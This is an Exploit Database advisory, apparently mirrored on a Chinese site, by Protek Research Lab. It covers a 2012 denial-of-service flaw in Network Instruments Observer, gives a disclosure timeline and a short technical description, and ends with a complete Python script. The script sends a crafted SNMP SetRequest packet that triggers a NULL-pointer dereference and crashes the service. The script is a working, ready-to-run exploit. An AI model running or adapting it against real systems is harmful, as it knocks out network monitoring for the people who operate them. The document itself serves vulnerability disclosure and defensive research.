Network Instrument Observer – SNMP SetRequest Denial of Service

• Exploit Database
• 9 阅读

• 作者： Francis Provencher
  日期： 2012-03-12
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18587/

• Application: Network Instrument Observer SNMP SetRequest Denial of Service Vulnerability
  
  Platforms: Windows 
  
  Secunia: SA47898
  
  {PRL}: 2012-05
  
  Author: Francis Provencher (Protek Research Lab's) 
  
  Website: http://www.protekresearchlab.com/
  
  Twitter: @ProtekResearch
  
  
  #####################################################################################
  
  1) Introduction
  2) Report Timeline
  3) Technical details
  4) The Code
  
  
  #####################################################################################
  
  ===============
  1) Introduction
  ===============
  Network Instruments develops software and hardware solutions for analyzing and managing network
  and application performance, such as network analyzers. They were founded in 1994, and are headquartered
  in Minneapolis, Minnesota. The mainstay product of Network Instruments is its Observer family of network
  analyzers (including Observer, Observer Expert and Observer Suite). The Observer product family was built for
  real-time analysis, monitoring, and reporting of full-duplex network links in environments including local area networks
  (LAN), wireless, Fibre Channel, Wide Area Networks, gigabit Ethernet, and Full duplex 10 GbE
  
  (http://en.wikipedia.org/wiki/Network_Instruments)
  
  #####################################################################################
  
  ============================
  2) Report Timeline
  ============================
  
  2012-02-07Vulnerability reported to Secunia
  2012-03-12Vendor disclose patch
  
  
  #####################################################################################
  
  ============================
  3) Technical details
  ============================
  The vulnerability is caused due to a NULL-pointer dereference error when copying an octet string from
  a variable binding list. This can be exploited to cause a crash via a specially crafted SNMP SetRequest PDU
  sent to UDP port 162. 
  
  #####################################################################################
  
  ===========
  4) The Code
  ===========
  
  #!/usr/bin/python
  
  import sys,os,socket
  
  if len(sys.argv) < 3:
  	print "Usage: host,port"
  	sys.exit(0)
  
  host=sys.argv[1]
  port=int(sys.argv[2])
  
  
  
  sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  
  sock.connect((host,port))
  
  sock.send("\x30\x35\x02\x01\x00\x04\x07\x70\x72\x69\x76\x61\x74\x65\xA3\x27\x02\x04\x00\x00\x00\x00\x02\x01\x00\x02\x01\x00\x30\x19\x30\x17\x06\x08\x2B\x06\x01\x02\x01\x01\x04\x00\x04\x84\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41")
  
  print "done!"
  
  sock.close()